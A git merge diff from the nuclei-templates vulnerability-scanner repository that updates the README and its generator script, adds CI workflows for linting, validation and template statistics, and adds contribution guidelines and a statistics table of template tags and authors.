Merge branch 'master' of https://github.com/projectdiscovery/nuclei-templates into pr/1241
commit
5767a0d5a2
|
@ -3,7 +3,7 @@ f"""
|
|||
<h1 align="center">
|
||||
Nuclei Templates
|
||||
</h1>
|
||||
<h4 align="center">Community curated list of templates for the nuclei engine to find a security vulnerability in application.</h4>
|
||||
<h4 align="center">Community curated list of templates for the nuclei engine to find security vulnerabilities in applications.</h4>
|
||||
|
||||
|
||||
<p align="center">
|
||||
|
@ -18,30 +18,27 @@ Nuclei Templates
|
|||
<a href="#-contributions">Contributions</a> •
|
||||
<a href="#-discussion">Discussion</a> •
|
||||
<a href="#-community">Community</a> •
|
||||
<a href="https://discord.gg/KECAGdH">Join Discord</a>
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Join Discord</a>
|
||||
</p>
|
||||
|
||||
----
|
||||
|
||||
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
|
||||
Templates are the core of the [nuclei scanner](https://github.com/projectdiscovery/nuclei) which powers the actual scanning engine.
|
||||
This repository stores and houses various templates for the scanner provided by our team, as well as contributed by the community.
|
||||
We hope that you also contribute by sending templates via **pull requests** or [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) to grow the list.
|
||||
|
||||
|
||||
## Nuclei Templates overview
|
||||
|
||||
|
||||
An overview of the nuclei template directory including number of templates associated with each directory.
|
||||
An overview of the nuclei template project, including statistics on unique tags, author, directory, severity, and type of templates. The table below contains the top ten statistics for each matrix; an expanded version of this is [available here](TEMPLATES-STATS.md), and also available in [JSON](TEMPLATES-STATS.json) format for integration.
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
| Templates | Counts | Templates | Counts | Templates | Counts |
|
||||
| ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
|
||||
| cves | {countTpl("cves/*")} | vulnerabilities | {countTpl("vulnerabilities/*")} | exposed-panels | {countTpl("exposed-panels")} |
|
||||
| takeovers | {countTpl("takeovers")} | exposures | {countTpl("exposures/*")} | technologies | {countTpl("technologies")} |
|
||||
| misconfiguration | {countTpl("misconfiguration")} | workflows | {countTpl("workflows")} | miscellaneous | {countTpl("miscellaneous")} |
|
||||
| default-logins | {countTpl("default-logins/*")} | exposed-tokens | {countTpl("exposed-tokens/*")} | dns | {countTpl("dns")} |
|
||||
| fuzzing | {countTpl("fuzzing")} | helpers | {countTpl("helpers/*")} | iot | {countTpl("iot")} |
|
||||
{get_top10()}
|
||||
|
||||
**{command("tree", -2, None)}**.
|
||||
|
||||
|
@ -49,34 +46,34 @@ An overview of the nuclei template directory including number of templates assoc
|
|||
</tr>
|
||||
</table>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
📖 Documentation
|
||||
-----
|
||||
|
||||
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
|
||||
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new or your own **custom** templates.
|
||||
We have also added a set of templates to help you understand how things work.
|
||||
|
||||
💪 Contributions
|
||||
-----
|
||||
|
||||
Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
|
||||
Nuclei-templates is powered by major contributions from the community.
|
||||
[Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
|
||||
|
||||
💬 Discussion
|
||||
-----
|
||||
|
||||
Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
|
||||
Have questions / doubts / ideas to discuss?
|
||||
Feel free to open a discussion on [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
|
||||
|
||||
👨💻 Community
|
||||
-----
|
||||
|
||||
You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
|
||||
You are welcome to join our [Discord Community](https://discord.gg/KECAGdH).
|
||||
You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
|
||||
|
||||
💡 Notes
|
||||
-----
|
||||
- Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
|
||||
|
||||
|
||||
Thanks again for your contribution and keeping the community vibrant. :heart:
|
||||
"""
|
||||
Thanks again for your contribution and keeping this community vibrant. :heart:
|
||||
"""
|
||||
|
|
|
@ -8,6 +8,11 @@ def countTpl(path):
|
|||
def command(args, start=None, end=None):
|
||||
return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
|
||||
|
||||
def get_top10():
|
||||
HEADER = "## Nuclei Templates Top 10 statistics\n\n"
|
||||
TOP10 = command(["cat", "TOP-10.md"])
|
||||
return HEADER + TOP10 if len(TOP10) > 0 else ""
|
||||
|
||||
if __name__ == "__main__":
|
||||
version = command(["git", "describe", "--tags", "--abbrev=0"])
|
||||
template = eval(open(".github/scripts/README.tmpl", "r").read())
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
name: syntax-checking
|
||||
name: ❄️ YAML Lint
|
||||
|
||||
on: [push, pull_request]
|
||||
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
name: 🛠 Template Validate
|
||||
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout Repo
|
||||
uses: actions/checkout@master
|
||||
|
||||
- name: Setup golang
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: 1.14
|
||||
|
||||
- name: Cache Go
|
||||
id: cache-go
|
||||
uses: actions/cache@v2
|
||||
with:
|
||||
path: /home/runner/go
|
||||
key: ${{ runner.os }}-go
|
||||
|
||||
- name: Installing Nuclei
|
||||
if: steps.cache-go.outputs.cache-hit != 'true'
|
||||
env:
|
||||
GO111MODULE: on
|
||||
run: |
|
||||
go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@dev
|
||||
shell: bash
|
||||
|
||||
- name: Template Validation
|
||||
run: |
|
||||
nuclei -validate -t . -exclude .pre-commit-config.yaml
|
||||
shell: bash
|
|
@ -0,0 +1,63 @@
|
|||
name: 🗒 Templates Stats
|
||||
|
||||
on:
|
||||
create:
|
||||
tags:
|
||||
- v*
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates' && github.ref == 'refs/heads/master'
|
||||
steps:
|
||||
- name: Checkout Repo
|
||||
uses: actions/checkout@master
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Setup golang
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: 1.14
|
||||
|
||||
- name: Installing Template Stats
|
||||
env:
|
||||
GO111MODULE: on
|
||||
run: |
|
||||
go get -v github.com/projectdiscovery/templates-stats
|
||||
shell: bash
|
||||
|
||||
- name: Markdown Stats
|
||||
run: |
|
||||
templates-stats -output TEMPLATES-STATS.md -path /home/runner/work/nuclei-templates/nuclei-templates/
|
||||
shell: bash
|
||||
|
||||
- name: JSON Stats
|
||||
run: |
|
||||
templates-stats -output TEMPLATES-STATS.json -json -path /home/runner/work/nuclei-templates/nuclei-templates/
|
||||
shell: bash
|
||||
|
||||
- name: Top 10 Stats
|
||||
run: |
|
||||
templates-stats -output TOP-10.md -top 10 -path /home/runner/work/nuclei-templates/nuclei-templates/
|
||||
shell: bash
|
||||
|
||||
- name: Get statistical changes
|
||||
id: stats
|
||||
run: echo "::set-output name=changes::$(git status -s | wc -l)"
|
||||
|
||||
- name: Commit files
|
||||
if: steps.stats.outputs.changes > 0
|
||||
run: |
|
||||
git add TEMPLATES-STATS.*
|
||||
git add TOP-10.md
|
||||
git config --local user.email "action@github.com"
|
||||
git config --local user.name "GitHub Action"
|
||||
git commit -m "Auto Generated Templates Stats [$(date)] :robot:" -a
|
||||
|
||||
- name: Push changes
|
||||
uses: ad-m/github-push-action@master
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
branch: ${{ github.ref }}
|
|
@ -1,12 +1,10 @@
|
|||
name: "Auto Update README"
|
||||
name: 📝 Readme Update
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
create:
|
||||
tags:
|
||||
- v*
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
build:
|
||||
|
|
|
@ -8,11 +8,9 @@
|
|||
# unless asked for by the user.
|
||||
|
||||
tags:
|
||||
- "headless"
|
||||
- "dos"
|
||||
- "iot"
|
||||
- "misc"
|
||||
- "fuzz"
|
||||
- "dos"
|
||||
- "misc"
|
||||
|
||||
# files is a list of files to ignore template execution
|
||||
# unless asked for by the user.
|
|
@ -0,0 +1,100 @@
|
|||
# Template Contribution Guidelines
|
||||
|
||||
This documentation contains a set of guidelines to help you during the contribution process.
|
||||
We are happy to welcome all the contributions from anyone willing to **improve/add** new **templates** to this project.
|
||||
Thank you for helping out and remember, **no contribution is too small.**
|
||||
|
||||
# Submitting Nuclei Templates 👩💻👨💻
|
||||
|
||||
Below you will find the process and workflow used to review and merge your changes.
|
||||
|
||||
## Step 1 : Find existing templates
|
||||
|
||||
- Take a look at the [Existing Templates](https://github.com/projectdiscovery/nuclei-templates) before creating new one.
|
||||
- Take a look at Existing Templates in [GitHub Issues](https://github.com/projectdiscovery/nuclei-templates/issues) and [Pull Request](https://github.com/projectdiscovery/nuclei-templates/pulls) section to avoid duplicate work.
|
||||
- Take a look at [Templates](https://nuclei.projectdiscovery.io/templating-guide/) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers) Guideline for creating new template.
|
||||
|
||||
## Step 2 : Fork the Project
|
||||
|
||||
- Fork this Repository. This will create a Local Copy of this Repository on your Github Profile. Keep a reference to the original project in `upstream` remote.
|
||||
|
||||
<img width="928" alt="template-fork" src="https://user-images.githubusercontent.com/8293321/124467966-2afde200-ddb6-11eb-835f-8f8fc2fabedb.png">
|
||||
|
||||
```sh
|
||||
git clone https://github.com/<your-username>/nuclei-templates
|
||||
cd nuclei-templates
|
||||
git remote add upstream https://github.com/projectdiscovery/nuclei-templates
|
||||
```
|
||||
|
||||
- If you have already forked the project, update your copy before working.
|
||||
|
||||
```sh
|
||||
git remote update
|
||||
git checkout master
|
||||
git rebase upstream/master
|
||||
```
|
||||
|
||||
## Step 3 : Create your Template Branch
|
||||
|
||||
Create a new branch. Use its name to identify the issue your addressing.
|
||||
|
||||
```sh
|
||||
# It will create a new branch with name template_branch_name and switch to that branch
|
||||
git checkout -b template_branch_name
|
||||
```
|
||||
|
||||
## Step 4 : Create Template and Commit
|
||||
- Create your template.
|
||||
- Add all the files/folders needed.
|
||||
- After you've made changes or completed template creation, add changes to the branch you've just created by:
|
||||
|
||||
```sh
|
||||
# To add all new files to branch template_branch_name
|
||||
git add .
|
||||
```
|
||||
|
||||
- To commit give a descriptive message for the convenience of reveiwer by:
|
||||
|
||||
```sh
|
||||
# This message get associated with all files you have changed
|
||||
git commit -m "Added/Fixed/Updated XXX Template"
|
||||
```
|
||||
|
||||
**NOTE**:
|
||||
|
||||
- A Pull Request should have only one unique template to make it simple for review.
|
||||
- Multiple templates for same technology can be grouped into single Pull Request.
|
||||
|
||||
|
||||
## Step 5 : Push Your Changes
|
||||
|
||||
- Now you are ready to push your template to the remote (forked) repository.
|
||||
- When your work is ready and complies with the project conventions, upload your changes to your fork:
|
||||
|
||||
```sh
|
||||
# To push your work to your remote repository
|
||||
git push -u origin template_branch_name
|
||||
```
|
||||
|
||||
## Step 6 : Pull Request
|
||||
|
||||
- Fire up your favorite browser, navigate to your GitHub repository, then click on the New pull request button within the Pull requests tab. Provide a meaningful name and description to your pull request, that describes the purpose of the template.
|
||||
- Voila! Your Pull Request has been submitted. It will be reviewed and merged by the moderators, if it complies with project standards, otherwise a feedback will be provided.🥳
|
||||
|
||||
## Need more help?🤔
|
||||
|
||||
You can refer to the following articles of Git and GitHub basics. In case you are stuck, feel free to contact the Project Mentors and Community by joining [PD Community](https://discord.gg/projectdiscovery) Discord server.
|
||||
|
||||
- [Forking a Repo](https://help.github.com/en/github/getting-started-with-github/fork-a-repo)
|
||||
- [Cloning a Repo](https://help.github.com/en/desktop/contributing-to-projects/creating-an-issue-or-pull-request)
|
||||
- [How to create a Pull Request](https://opensource.com/article/19/7/create-pull-request-github)
|
||||
- [Getting started with Git and GitHub](https://towardsdatascience.com/getting-started-with-git-and-github-6fcd0f2d4ac6)
|
||||
- [Learn GitHub from Scratch](https://lab.github.com/githubtraining/introduction-to-github)
|
||||
|
||||
|
||||
## Tip from us😇
|
||||
|
||||
- **Nuclei** outcomes are only as excellent as **template matchers💡**
|
||||
- Declare at least two matchers to reduce false positive
|
||||
- Avoid matching words reflected in the URL to reduce false positive
|
||||
- Avoid short word that could be encountered anywhere
|
|
@ -0,0 +1,28 @@
|
|||
### Template / PR Information
|
||||
|
||||
<!-- Explains the information and/or motivation for update or/ creating this templates -->
|
||||
<!-- Please include any reference to your template if available -->
|
||||
|
||||
- Fixed CVE-2020-XXX / Added CVE-2020-XXX / Updated CVE-2020-XXX
|
||||
- References:
|
||||
|
||||
### Template Validation
|
||||
|
||||
I've validated this template locally?
|
||||
- [ ] YES
|
||||
- [ ] NO
|
||||
|
||||
|
||||
#### Additional Details (leave it blank if not applicable)
|
||||
|
||||
<!-- Include Shodan / Fofa / Google Query / Docker / Screenshots if available -->
|
||||
<!-- Include HTTP/TCP/DNS Matched response data snippet if available -->
|
||||
<!-- Please do NOT include vulnerable host information in pull requests -->
|
||||
<!-- None of the prerequisites are obligatory; they are merely intended to speed the review process. -->
|
||||
|
||||
### Additional References:
|
||||
|
||||
- [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
|
||||
- [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
|
||||
- [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/.github/CONTRIBUTING.md)
|
||||
- [PD-Community Discord server](https://discord.gg/projectdiscovery)
|
52
README.md
52
README.md
|
@ -3,7 +3,7 @@
|
|||
<h1 align="center">
|
||||
Nuclei Templates
|
||||
</h1>
|
||||
<h4 align="center">Community curated list of templates for the nuclei engine to find a security vulnerability in application.</h4>
|
||||
<h4 align="center">Community curated list of templates for the nuclei engine to find security vulnerabilities in applications.</h4>
|
||||
|
||||
|
||||
<p align="center">
|
||||
|
@ -18,64 +18,74 @@ Nuclei Templates
|
|||
<a href="#-contributions">Contributions</a> •
|
||||
<a href="#-discussion">Discussion</a> •
|
||||
<a href="#-community">Community</a> •
|
||||
<a href="https://discord.gg/KECAGdH">Join Discord</a>
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Join Discord</a>
|
||||
</p>
|
||||
|
||||
----
|
||||
|
||||
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
|
||||
Templates are the core of the [nuclei scanner](https://github.com/projectdiscovery/nuclei) which powers the actual scanning engine.
|
||||
This repository stores and houses various templates for the scanner provided by our team, as well as contributed by the community.
|
||||
We hope that you also contribute by sending templates via **pull requests** or [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) to grow the list.
|
||||
|
||||
|
||||
## Nuclei Templates overview
|
||||
|
||||
|
||||
An overview of the nuclei template directory including number of templates associated with each directory.
|
||||
An overview of the nuclei template project, including statistics on unique tags, author, directory, severity, and type of templates. The table below contains the top ten statistics for each matrix; an expanded version of this is [available here](TEMPLATES-STATS.md), and also available in [JSON](TEMPLATES-STATS.json) format for integration.
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
| Templates | Counts | Templates | Counts | Templates | Counts |
|
||||
| ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
|
||||
| cves | 266 | vulnerabilities | 120 | exposed-panels | 117 |
|
||||
| takeovers | 67 | exposures | 66 | technologies | 60 |
|
||||
| misconfiguration | 55 | workflows | 27 | miscellaneous | 20 |
|
||||
| default-logins | 21 | exposed-tokens | 9 | dns | 8 |
|
||||
| fuzzing | 7 | helpers | 6 | iot | 11 |
|
||||
## Nuclei Templates Top 10 statistics
|
||||
|
||||
**82 directories, 892 files**.
|
||||
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|
||||
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
|
||||
| cve | 547 | dhiyaneshdk | 232 | cves | 554 | info | 569 | http | 1646 |
|
||||
| panel | 213 | pikpikcu | 225 | vulnerabilities | 252 | high | 441 | file | 44 |
|
||||
| xss | 202 | pdteam | 189 | exposed-panels | 215 | medium | 371 | network | 35 |
|
||||
| wordpress | 189 | dwisiswant0 | 126 | exposures | 170 | critical | 210 | dns | 11 |
|
||||
| rce | 181 | geeknik | 122 | technologies | 156 | low | 150 | | |
|
||||
| exposure | 180 | daffainfo | 114 | misconfiguration | 119 | | | | |
|
||||
| lfi | 155 | madrobot | 60 | takeovers | 70 | | | | |
|
||||
| cve2020 | 153 | gy741 | 54 | default-logins | 49 | | | | |
|
||||
| wp-plugin | 127 | princechaddha | 53 | file | 44 | | | | |
|
||||
| tech | 97 | gaurang | 42 | workflows | 34 | | | | |
|
||||
|
||||
**139 directories, 1792 files**.
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
📖 Documentation
|
||||
-----
|
||||
|
||||
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
|
||||
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new or your own **custom** templates.
|
||||
We have also added a set of templates to help you understand how things work.
|
||||
|
||||
💪 Contributions
|
||||
-----
|
||||
|
||||
Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
|
||||
Nuclei-templates is powered by major contributions from the community.
|
||||
[Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
|
||||
|
||||
💬 Discussion
|
||||
-----
|
||||
|
||||
Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
|
||||
Have questions / doubts / ideas to discuss?
|
||||
Feel free to open a discussion on [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
|
||||
|
||||
👨💻 Community
|
||||
-----
|
||||
|
||||
You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
|
||||
You are welcome to join our [Discord Community](https://discord.gg/KECAGdH).
|
||||
You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
|
||||
|
||||
💡 Notes
|
||||
-----
|
||||
- Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
|
||||
|
||||
|
||||
Thanks again for your contribution and keeping the community vibrant. :heart:
|
||||
Thanks again for your contribution and keeping this community vibrant. :heart:
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,684 @@
|
|||
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|
||||
|--------------------|-------|--------------------------------------------|-------|-------------------------|-------|----------|-------|---------|-------|
|
||||
| cve | 547 | dhiyaneshdk | 232 | cves | 554 | info | 569 | http | 1646 |
|
||||
| panel | 213 | pikpikcu | 225 | vulnerabilities | 252 | high | 441 | file | 44 |
|
||||
| xss | 202 | pdteam | 189 | exposed-panels | 215 | medium | 371 | network | 35 |
|
||||
| wordpress | 189 | dwisiswant0 | 126 | exposures | 170 | critical | 210 | dns | 11 |
|
||||
| rce | 181 | geeknik | 122 | technologies | 156 | low | 150 | | |
|
||||
| exposure | 180 | daffainfo | 114 | misconfiguration | 119 | | | | |
|
||||
| lfi | 155 | madrobot | 60 | takeovers | 70 | | | | |
|
||||
| cve2020 | 153 | gy741 | 54 | default-logins | 49 | | | | |
|
||||
| wp-plugin | 127 | princechaddha | 53 | file | 44 | | | | |
|
||||
| tech | 97 | gaurang | 42 | workflows | 34 | | | | |
|
||||
| config | 90 | pussycat0x | 36 | miscellaneous | 27 | | | | |
|
||||
| cve2021 | 88 | ice3man | 26 | network | 27 | | | | |
|
||||
| cve2019 | 84 | organiccrap | 24 | iot | 23 | | | | |
|
||||
| takeover | 72 | 0x_akoko | 20 | dns | 11 | | | | |
|
||||
| cve2018 | 69 | philippedelteil | 16 | fuzzing | 10 | | | | |
|
||||
| | 66 | sheikhrishad | 15 | cnvd | 9 | | | | |
|
||||
| token | 64 | milo2012 | 14 | headless | 5 | | | | |
|
||||
| apache | 62 | pr3r00t | 13 | .pre-commit-config.yaml | 1 | | | | |
|
||||
| default-login | 51 | techbrunchfr | 13 | | | | | | |
|
||||
| cve2017 | 45 | suman_kar | 12 | | | | | | |
|
||||
| file | 44 | cyllective | 11 | | | | | | |
|
||||
| iot | 44 | righettod | 10 | | | | | | |
|
||||
| unauth | 42 | random_robbie | 10 | | | | | | |
|
||||
| oob | 35 | hackergautam | 9 | | | | | | |
|
||||
| network | 35 | wdahlenb | 9 | | | | | | |
|
||||
| sqli | 34 | melbadry9 | 8 | | | | | | |
|
||||
| oracle | 29 | that_juan_ | 8 | | | | | | |
|
||||
| workflow | 29 | aashiq | 8 | | | | | | |
|
||||
| logs | 29 | iamthefrogy | 8 | | | | | | |
|
||||
| ssrf | 28 | r3dg33k | 8 | | | | | | |
|
||||
| cve2016 | 27 | nadino | 8 | | | | | | |
|
||||
| misc | 27 | harshbothra_ | 7 | | | | | | |
|
||||
| jira | 26 | 0x240x23elu | 7 | | | | | | |
|
||||
| atlassian | 26 | emadshanab | 7 | | | | | | |
|
||||
| disclosure | 25 | techryptic (@tech) | 7 | | | | | | |
|
||||
| listing | 24 | randomstr1ng | 7 | | | | | | |
|
||||
| redirect | 21 | dr_set | 7 | | | | | | |
|
||||
| aem | 19 | oppsec | 7 | | | | | | |
|
||||
| cisco | 18 | kophjager007 | 7 | | | | | | |
|
||||
| sap | 16 | __fazal | 6 | | | | | | |
|
||||
| cve2015 | 16 | caspergn | 6 | | | | | | |
|
||||
| debug | 14 | puzzlepeaches | 6 | | | | | | |
|
||||
| cve2012 | 14 | iamnoooob | 5 | | | | | | |
|
||||
| cve2014 | 13 | ganofins | 5 | | | | | | |
|
||||
